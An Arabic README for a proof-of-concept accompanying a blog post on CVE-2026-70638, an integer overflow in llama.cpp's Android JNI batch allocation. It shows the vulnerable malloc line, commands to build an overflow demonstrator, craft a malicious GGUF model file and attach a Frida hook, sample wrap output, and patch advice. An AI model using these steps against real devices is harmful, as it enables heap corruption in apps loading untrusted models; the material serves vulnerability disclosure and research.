
يعيد إنتاج خطأ تجاوز سعة العدد الصحيح CVE-2026-70638 في واجهة Android JNI الخاصة بـ llama.cpp مع عرض توضيحي آمن للعمليات الحسابية، ومولّد ملفات GGUF خبيثة، وخطاف Frida لأغراض البحث الأمني المصرح به.
إثبات مفهوم (PoC) مرافق لمقالة Hunt-Benito "عملية ضرب واحدة زائدة عن الحد: CVE-2026-70638 — تجاوز عدد صحيح في تخصيص الكومة عبر JNI لأندرويد داخل llama.cpp" → https://www.hunt-benito.com/blog/one-multiply-too-many-cve-2026-70638-llama-cpp-android-jni-integer-overflow/
الدالة Java_android_llama_cpp_LLamaAndroid_new_1batch() الموجودة في examples/llama.android/llama/src/main/cpp/llama-android.cpp (إصدارات البناء b1886–b7445 من llama.cpp) هي نسخة منقولة يدويًا من llama_batch_init() تُجري عدة حسابات malloc(sizeof(T) * count) دون أي تحقق. عندما يكون المضاعِف متحكمًا فيه من المهاجم (n_seq_max أو n_tokens أو embd) يلتف الحجم، فتصبح كتلة الكومة أصغر من اللازم، وتفيض عمليات الكتابة اللاحقة التي ينفّذها المتصل خارجها (CWE-190 → CWE-122). بحسب NVD، درجة CVSS 3.1 هي 7.8 عالية (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
النواة القابلة للاستغلال في الدالة:
batch->seq_id[i] = (llama_seq_id *) malloc(sizeof(llama_seq_id) * n_seq_max);
# 1. Arithmetic demonstrator (the core of the article's PoC)
cc -O2 -o overflow_demo overflow_demo.c
./overflow_demo
# 2. Malicious model file
python3 craft_gguf.py 0x40000001 malicious.gguf # -> 416-byte GGUF
xxd malicious.gguf | head # verify magic 'GGUF' + key
# 3. Live hook (rooted/emulator device with frida-server, authorized target only)
frida -U -l hook_new_batch.js -f <package> --no-pause
[2] Malicious: n_seq_max = 0x40000000 (2^30). 4 * 2^30 = 2^32 -> wraps:
n_seq_max (attacker) = 1073741824 (0x40000000)
malloc size, arm64 = 4294967296 bytes (4.00 GiB)
malloc size, armeabi-v7a = 0 bytes
caller believes it got = 4294967296 bytes
>>> 32-bit WRAP: 4294967296-byte write into 0-byte heap block (CWE-122)
armeabi-v7a، ما زالت تُوزَّع). أما على 64-بت (arm64-v8a) فإن التعبير غير المُتحقَّق منه نفسه يطلب كتلة بحجم عدة جيغابايتات يفشل malloc في توفيرها (NULL → تعطّل لاحق / حجب خدمة DoS)؛ أما فساد الكومة فيتطلب مسار 32-بت.overflow_demo.c بأي كتابة خارج الحدود — بل يُثبت فقط أن الحساب يلتف. وينتج craft_gguf.py نموذجًا غير قابل للتشغيل (بدون موترات tensors)، لذا لا يمكن تحويله إلى سلاح كما هو؛ وهو يوضح أن المضاعِف المتحكم فيه من المهاجم مصدره بيانات وصفية غير موثوقة.قم بترقية llama.cpp إلى b7446 أو أحدث (أزالت إعادة كتابة الربط بنظام أندرويد مسار JNI الخاص بـ new_1batch). إذا كان لا بد من البقاء على نسخة بناء متأثرة أو فرع مشتق، فطبّق رقعة التحقق الصادرة عن Cyera من
https://github.com/Vladimir-tokarev-cyera/llama-cpp-security-patches
(إن حارس تهيئة الدفعة الخاص بـ CVE-2026-43627 هو الإصلاح المرجعي لهذه الفئة من الثغرات).
للاستخدام المصرح به في البحث الأمني والأغراض التعليمية فقط.
| الملف | الغرض |
|---|
overflow_demo.c | أداة إعادة إنتاج مستقلة لحساب التفاف الحجم تحت size_t ببنية 32-بت (armeabi-v7a) مقابل 64-بت (arm64-v8a). لا تنفّذ أي كتابة مفسدة — آمنة للتشغيل في أي مكان. |
craft_gguf.py | يبني ملف GGUF مصغّرًا وصحيح البنية مع ضبط llama.embedding_length على قيمة يتحكم بها المهاجم، موضحًا ناقل التسليم عبر ملف النموذج (يُقرأ embd مباشرة من بيانات وصفية غير موثوقة). |
hook_new_batch.js | خطاف Frida يسجّل/يتجاوز المضاعِفات الثلاثة عند حدود JNI الحية على جهاز بحثي. |